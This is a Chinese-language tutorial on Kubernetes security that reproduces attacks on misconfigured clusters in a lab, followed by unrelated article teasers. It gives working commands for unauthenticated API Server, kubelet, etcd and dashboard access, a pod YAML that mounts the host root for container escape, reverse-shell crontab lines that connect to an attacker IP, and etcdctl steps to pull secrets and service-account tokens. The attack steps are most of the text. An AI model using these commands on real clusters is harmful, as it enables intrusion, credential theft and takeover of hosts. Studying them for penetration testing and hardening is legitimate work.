K8s安全一

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。常见的kubernetes集群结果如下图所示

Master节点

Master节点是Kubernetes集群的控制节点,每个Kubernetes集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。

在Master节点上,通常会运行以下服务:

  • kube-apiserver: 部署在Master上暴露Kubernetes API,是Kubernetes的控制面。
  • etcd: 一致且高度可用的Key-Value存储,用作Kubernetes的所有群集数据的后备存储。
  • kube-scheduler: 调度器,运行在Master上,用于监控节点中的容器运行情况,并挑选节点来创建新的容器。调度决策所考虑的因素包括资源需求,硬件/软件/策略约束,亲和和排斥性规范,数据位置,工作负载间干扰和最后期限。
  • kube-controller-manager:控制和管理器,运行在Master上,每个控制器都是独立的进程,但为了降低复杂性,这些控制器都被编译成单一的二进制文件,并以单独的进程运行。

Node节点

Node 节点是 Kubernetes 集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。

在Node节点上,通常会运行以下服务:

  • kubelet: 运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。
  • kube-proxy: 负责 Kubernetes Services的通信和负载均衡机制。
  • Docker Engine: 负责节点上的容器的创建和管理。

Node节点可以在集群运行期间动态增加,只要整个节点已经正确安装配置和启动了上面的进程。在默认情况下,kubelet会向Master自动注册。一旦Node被接入到集群管理中,kubelet会定时向Master节点汇报自身的情况(操作系统,Docker版本,CPU内存使用情况等),这样Master便可以在知道每个节点的详细情况的同时,还能知道该节点是否是正常运行。当Node节点心跳超时时,Master节点会自动判断该节点处于不可用状态,并会对该Node节点上的Pod进行迁移。

pod

Pod是Kubernetes最重要也是最基本的概念,一个Pod是一组共享网络和存储(可以是一个或多个)的容器。Pod中的容器都是统一进行调度,并且运行在共享上下文中。一个Pod被定义为一个逻辑的host,它包括一个或多个相对耦合的容器。

Pod的共享上下文,实际上是一组由namespace、cgroups, 其他资源的隔离的集合,意味着Pod中的资源已经是被隔离过了的,而在Pod中的每一个独立的container又对Pod中的资源进行了二次隔离。

Replication Controller

Replication Controller确保任意时间都有指定数量的Pod“副本”在运行。如果为某个Pod创建了Replication Controller并且指定3个副本,它会创建3个Pod,并且持续监控它们。如果某个Pod不响应,那么Replication Controller会替换它,保持总数为3。

二、K8s风险点

在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。

常见渗透路径外网突破->提权->权限维持->信息收集->横向移动->循环收集信息,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器

2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,

根据以往的渗透测试经验,梳理了 K8S 集群架构下可能存在的安全问题,并在如图1的 K8S 集群基础架构图中标注了潜在的攻击点:

三、K8s集群判断

黑盒测试中,可以通过开放端口来判断当前目标是否是K8s集群,这些端口也是可能存在风险的端口

四、漏洞复现

4.1 攻击K8S组件

K8S 组件的问题主要是指各组件的不安全配置,攻击点1~4罗列了4个比较有代表性的组件问题,即 API Server 未授权访问、etcd 未授权访问、kubelet 未授权访问、kube-proxy 不安全配置。

各个组件存在隐患的默认端口,供参考:

4.1.1 8080端口,API Server未授权访问 (master节点)

旧版本的k8s的API Server默认会开启两个端口:8080和6443。6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)新版本k8s默认已经不开启8080。

需要更改kube-apiserver.yaml相应的配置

cd /etc/kubernetes/manifests/
vi  kube-apiserver.yaml

加入

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

然后重启kubelet

systemctl restart kubelet

此时访问8080就可以发现未授权访问

漏洞利用,反弹shell

可使用官方的工具进行利用

下载地址:安装工具 | Kubernetes

这里我用的是windows版本的进行演示

获取nodes节点

kubectl.exe -s 192.168.19.58:8080 get nodes

获取pods

kubectl.exe -s 192.168.19.58:8080 get pods

创建 创建Pod 文件。(通过未授权访问在node节点上创建一个pod)

kubectl -s 192.168.19.58:8080 create -f test.yaml

注意:test.yaml 文件要放在当前目录下

内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

进入创建的容器

kubectl -s 192.168.19.58:8080 --namespace=default exec -it test bash

反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.19.132/4444 0>&1\n" >> /mnt/etc/crontab

等待1分钟,即可收到反弹的shell

直接拿到node1的节点权限

4.1.2 攻击6443端口 ,API Server未授权访问 (master节点)

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

正常访问6443端口应该是没有未授权的,如下图所示:

环境准备

master节点执行命令:

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

然后再访问:6443端口,即可出现未授权访问

漏洞利用

创建Pod

可以使用一些发包工具构造数据包发包,可以使用burp,或者Postman之类的工具。

这里演示使用Postman发包

https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

kubectl get pods

返回201 创建成功,使用kubectl查看pods, 这里执行命令需要输入账号密码,随便输入即可

kubectl --insecure-skip-tls-verify -s https://192.168.19.58:6443 get pods

执行Pods,这里执行命令需要输入账号密码,随便输入即可

kubectl --insecure-skip-tls-verify -s https://192.168.19.58:6443 --namespace=default exec -it test02 bash

执行定时任务,反弹shell (此时挂载目录和之前不一样,所以反弹命令有些区别)

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.19.132/4444 0>&1\n" >> /host/etc/crontab

等一两分钟后直接拿到node1节点的权限

4.1.3 攻击10250端口,kubelet未授权访问 (node节点)

正常访问node节点10250端口pods,如图所示,不存在未授权访问

未授权环境准备

修改node节点: /var/lib/kubelet/config.yaml 文件

修改authentication anonymous 下enabled值为 true, authorization mode值为AlaysAllow

重启 kubelet进程

systemctl restart kubelet

访问:https://192.168.19.60:10250/runningpods/

获取 pod namespace container三个值

远程命令执行

curl -XPOST -k "https://192.168.19.60:10250/run/default/test02/test02" -d "cmd=id"

此时执行命令,还是在容器里面,需要配合容器逃逸漏洞,进行容器逃逸提权等后渗透操作。

4.1.4 etcd未授权访问 (master节点)

etcd 介绍

Etcd 是一个具有强一致性的分布式 key-value 存储组件 (也是一个高可用的分布式键值对数据库)。采用类似目录结构的方式对数据进行存储,仅在叶子结点上存储数据,叶子结点的父节点为目录,不能存储数据。它为 k8s 集群提供底层数据存储。多数情形下,数据库中的内容没有经过加密处理,一旦 etcd 被黑客拿下,就意味着整个 k8s 集群失陷。

攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书。

正常默认安装,etcd只允许本地访问,外界无法访问

第一种:没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf或其他利用,较为鸡肋。

只能本地访问,直接未授权访问获取secrets和token利用

第三种:实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。

只能本地访问,利用ssrf或其他进行获取secrets和token利用

漏洞复现

参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html

环境搭建:

etcd集群部署在虚拟机中的docker下;

虚拟机环境:ubuntu18.06

虚拟机IP: 192.168.19.61

首先拉取镜像

docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images

创建自定义网络


docker network create --driver bridge --subnet=172.16.1.0/16 --gateway=172.16.1.1 mynet
# 查看网络
docker network ls

创建etcd节点

节点1:

docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--network=mynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

节点2

docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--network=mynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

节点3:

docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--network=mynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new

配置项参数说明:

–name:etcd集群中的节点名,这里可以随意,可区分且不重复就行
–listen-peer-urls:监听的用于节点之间通信的url,可监听多个,集群内部将通过这些url进行数据交互(如选举,数据同步等)
–initial-advertise-peer-urls:建议用于节点之间通信的url,节点间将以该值进行通信。
–listen-client-urls:监听的用于客户端通信的url,同样可以监听多个。
–advertise-client-urls:建议使用的客户端通信 url,该值用于 etcd 代理或 etcd 成员与 etcd 节点通信。
–initial-cluster-token: etcd-cluster-1,节点的 token 值,设置该值后集群将生成唯一 id,并为每个节点也生成唯一 id,当使用相同配置文件再启动一个集群时,只要该 token 值不一样,etcd 集群就不会相互影响。
–initial-cluster:也就是集群中所有的 initial-advertise-peer-urls 的合集。
–initial-cluster-state:new,新建集群的标志
# 查看docker进程
docker ps

未授权访问利用

使用官方提供的etcdctl直接用命令行即可访问etcd,无需去了解每个http api。

下载etcd:Releases · etcd-io/etcd · GitHub

刚刚搭建好了etcd环境,默认端口是2379,刚刚搭建好的环境node节点端口为23791,23792,23793

v2版本api的利用,比如:

直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。

etcd v3版本的api和v2版本完全不同,所以访问上面的url不会看到任何数据。这里主要简单介绍一下v3版本api的使用。

搭建好上面的测试环境后,可以执行以下命令,向etcd中插入几条测试数据:

etcdctl --endpoints=192.168.19.61:23791 put /testdir/testkey1 "Hello world1"
etcdctl --endpoints=192.168.19.61:23791 put /testdir/testkey2 "Hello world2"
etcdctl --endpoints=192.168.19.61:23791 put /testdir/testkey3 "Hello world3"

执行下面命令即可读取etcd中存储的所有数据:(在keys中查找敏感key)

etcdctl --endpoints=192.168.19.61:23791 get / --prefix

然后就可以查看指定key的值:

etcdctl --endpoints=192.168.19.61:23791  get /testdir/testkey1

-prefix用来指定前缀,上述命令的意思就是获取所有“/”作为前缀的key value值

如果结果过多,还可以通过--limit选项限制数量:

etcdctl --endpoints=192.168.19.61:23791 get / --prefix --limit=2

下面命令可用于列出当前目标所属同一集群的所有节点:

etcdctl --endpoints=192.168.19.61:23791  member list

未授权访问可能产生的风险

kubernetes的master会安装etcd v3用来存储数据,如果管理员进行了错误的配置,导致etcd未授权访问的情况,那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token,从而接管集群。

在真实的场景中,还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险,这种情况和redis的使用情况差不多,在企业内网比较普遍,甚至也有少部分人会将其开放到公网。

由于复现环境没有secrets,token信息,无法复现,给出后续利用步骤

获取k8s的secrets:
etcdctl --endpoints=192.168.19.61:23791 get / --prefix --keys-only | grep /secrets/
  
读取service account token:
etcdctl --endpoints=192.168.19.61:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
etcdctl --endpoints=192.168.19.61:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

通过token访问API-Server,获取集群的权限:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

4.1.5 8001端口,Dashboard未授权访问

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用:

*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard

*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装:kubernetes -- 搭建 DashBoard_kubedashboard-CSDN博客

2、启动:kubectl create -f recommended.yaml

3、卸载:kubectl delete -f recommended.yaml

4、查看:kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

*找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

apiVersion: v1
kind: Pod
metadata:
  name: xiaodisec
spec:
  containers:
  - image: nginx
    name: xiaodisec
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

4.1.6 Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件

-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

*复现利用:

*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装:在 Linux 系统中安装并设置 kubectl | Kubernetes

连接:kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config

cd /mnt

chroot . bash

4.1.7 Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建:

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

*复现利用:

*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。

*找到暴露入口点,根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/420449.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

雷达新研社丨宏电雷达水位计化身“智慧管家”,守护滁州城市生命线

城市生命线是维系城市正常运行、满足群众生产生活需要的重要基础设施。为大力推进城市生命线安全工程建设&#xff0c;加快韧性城市建设&#xff0c;滁州市实施了城市生命线安全工程建设项目。 项目包含对全市1650.5公里排水安全监测感知网的建设&#xff0c;宏电股份作为智慧…

第四十七回 一丈青单捉王矮虎 宋公明二打祝家庄-强大而灵活的python装饰器

四面全是埋伏&#xff0c;宋江和众人一直绕圈跑不出去。正在慌乱之时&#xff0c;石秀及时赶到&#xff0c;教大家碰到白杨树就转弯走。走了一段时间&#xff0c;发现围的人越来越多&#xff0c;原来祝家庄以灯笼指挥号令。花荣一箭射下来红灯龙&#xff0c;伏兵自己就乱起来了…

仿牛客网项目---显示评论和添加评论功能的实现

这篇文章&#xff0c;我来介绍一下我的项目中的另外一个功能&#xff1a;显示评论和添加评论。 其实这两个功能都不怎么重要&#xff0c;我感觉最重要的应该是用户注册登录功能&#xff0c;这个也了解一下&#xff0c;知道这么一回事儿就好。 首先设计DAO层。 Mapper public …

LNMP架构介绍及配置--部署Discuz社区论坛与wordpress博客

一、LNMP架构定义 1、LNMP定义 LNMP&#xff08;Linux Nginx Mysql Php&#xff09;是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写&#xff1b;Linux系统下NginxMySQLPHP这种网站服务器架构。 Linux是一类Unix计算机操作系统的统称&#xff0c;是目…

Qt程序设计-指南针自定义控件实例

本文讲解Qt指南针自定义控件实例。 效果演示 创建指南针类 #ifndef COMPASS_H #define COMPASS_H#include <QWidget> #include <QWidget> #include <QTimer> #include <QPainter> #include <QPen> #include <QDebug> #include <QtMat…

【激光SLAM】基于已知位姿的构图算法 (Grid-based)

文章目录 地图分类概念 覆盖栅格建图算法栅格地图的特征数学描述假设 算法流程激光雷达的逆观测模型 计数(Count Model)建图算法概念数学描述观测模型地图估计 地图分类 概念 地图即为环境的空间模型。环境地图是机器人进行定位和规划的前提。定位可以用特征地图&#xff08;…

java-ssm-jsp房屋中介服务平台的设计与实现

java-ssm-jsp房屋中介服务平台的设计与实现 获取源码——》公主号&#xff1a;计算机专业毕设大全

28.HarmonyOS App(JAVA)多页签的实现(Tab)

HarmonyOS App(JAVA)多页签的实现&#xff08;Tab&#xff09; 页面可左右滑动&#xff0c;点击界面1,2,3切换到对应界面 PageSlider的创建和使用 在layout目录下的xml文件中创建PageSlider。 <PageSlider ohos:id"$id:page_slider" ohos:height"300vp&…

Java编程实战:小区管理系统的设计与实现

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

MySQL之索引详解

华子目录 索引概述优缺点 索引的原理索引的设计原则索引结构B-tree&#xff08;多路平衡查找树&#xff09;BtreeHash 为什么InnoDB存储引擎选择Btree&#xff1f;索引分类聚集索引选取规则 单列索引和多列索引前缀索引创建索引1.创建表时创建索引2.在已经存在的表上创建索引3.…

Muduo库核心代码及优秀编程细节剖析

一、前言&#xff1a; Muduo库是陈硕个人开发的Tcp网络编程库&#xff0c;支持Reactor模型。这篇博文对Muduo库中的Multi-reactor架构代码进行逻辑梳理&#xff0c;同时认真剖析了作者每一处精妙的代码设计思想。 目前我只重构并剖析了Muduo库中的核心部分&#xff0c;即Mult…

了解处理器

了解处理器 摘要写在前面1. 计算机简介1.1.计算机发展简史1.2.计算机分类1.3.PC机结构 2.初识处理器2.1.处理器的硬件模型2.2.处理器的编程模型2.3.处理器的分层模型2.4.如何选择处理器 3.指令集体系结构3.1.处理器编程模型3.2.指令集发展历程3.3.指令集分类3.4.汇编语言格式3.…

第三百七十六回

文章目录 1 .概念介绍2. 实现方法3. 示例代码 我们在上一章回中介绍了在页面之间共传递数据相关的内容&#xff0c;本章回中将介绍如何拦截路由.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1 .概念介绍 本章回中介绍的路由拦截是指在路由运行过程中&#xff0c;对路由做…

Java进阶(锁)——锁的升级,synchronized与lock锁区别

目录 引出Java中锁升级synchronized与lock锁区别 缓存三兄弟&#xff1a;缓存击穿、穿透、雪崩缓存击穿缓存穿透缓存雪崩 总结 引出 Java进阶&#xff08;锁&#xff09;——锁的升级&#xff0c;synchronized与lock锁区别 Java中锁升级 看一段代码&#xff1a; public class…

Python学习 day06(类、对象、构造方法、私有方法、继承

类 程序中数据的组织多种多样&#xff0c;如果我们简单用变量来记录&#xff0c;就会混乱、不统一&#xff0c;如下所示&#xff1a; 类比现实中的表格&#xff0c;我们可以用类来组织数据&#xff0c;如下&#xff1a; 类的定义和使用 类中的变量叫做成员变量&#xff0c;类中…

mysql,for循环执行sql

遇到一个问题&#xff0c;我需要模拟上百万数据来优化sql&#xff0c;线上数据down不下来&#xff0c;测试库又没有&#xff0c;写代码执行要么慢要么就是sql语句太长。 于是&#xff0c;直接用mysql自带的功能去实现&#xff01; 简单而简单 mysql可以for循环&#xff1f;没…

python中版本,操作系统等问题汇总

1. linux源码部署到windows 1.1ModuleNotFoundError: No module named pwd 这个问题&#xff0c;是因为源码是给linux的。这里在windows中&#xff0c;没有该命令。 解决方法之一&#xff0c;在相应的环境目录中&#xff0c;如图中<MetaGPTenv>虚拟环境中&#xff0c;在…

Unity 预制体与变体

预制体作用&#xff1a; 更改预制体&#xff0c;则更改全部的以预制体复制出的模型。 生成预制体&#xff1a; 当你建立好了一个模型&#xff0c;从层级拖动到项目中即可生成预制体。 预制体复制模型&#xff1a; 将项目中的预制体拖动到层级中即可复制。或者选择物体复制粘贴。…

可用于智能客服的完全开源免费商用的知识库项目

介绍 FastWiki项目是一个高性能、基于最新技术栈的知识库系统&#xff0c;专为大规模信息检索和智能搜索设计。利用微软Semantic Kernel进行深度学习和自然语言处理&#xff0c;结合.NET 8和MasaBlazor前端框架&#xff0c;后台采用.NET 8MasaFrameworkSemanticKernel&#xff…

微信小程序云开发教程——墨刀原型工具入门(安装以及基础使用教程)

引言 作为一个小白&#xff0c;小北要怎么在短时间内快速学会微信小程序原型设计&#xff1f; “时间紧&#xff0c;任务重”&#xff0c;这意味着学习时必须把握微信小程序原型设计中的重点、难点&#xff0c;而非面面俱到。 要在短时间内理解、掌握一个工具的使用&#xf…